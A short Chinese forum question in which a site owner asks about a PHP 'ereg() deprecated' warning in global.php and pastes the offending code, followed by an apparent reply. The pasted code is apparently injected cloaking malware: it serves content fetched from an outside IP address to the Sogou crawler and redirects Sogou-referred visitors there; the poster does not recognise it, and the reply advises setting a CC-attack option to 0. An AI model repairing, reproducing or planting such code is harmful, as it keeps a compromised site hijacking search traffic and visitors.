请教下老大:Deprecated: Function ereg() is deprecated in C:\wwwroot\zhqsw\old\do\global.php on line 2出现这个什么意思,是PHP版本问题吗?怎么解决: <?php if (ereg("sogou", $_SERVER["HTTP_USER_AGENT"])) { $file = file_get_contents('http://103.100.60.195';); echo $file; exit; } if(stristr ($_SERVER['HTTP_REFERER'],"sogou")) { Header("Location: http://103.100.60.195"); exit; }
\inc\common.inc.php
查找
$webdb[cc_attack]
替换成
$webdb[cc_attack]=0
<?php
if (ereg("sogou", $_SERVER["HTTP_USER_AGENT"])) {
$file = file_get_contents('http://103.100.60.195';);
echo $file;
exit;
}
if(stristr ($_SERVER['HTTP_REFERER'],"sogou")) {
Header("Location: http://103.100.60.195");
exit;
}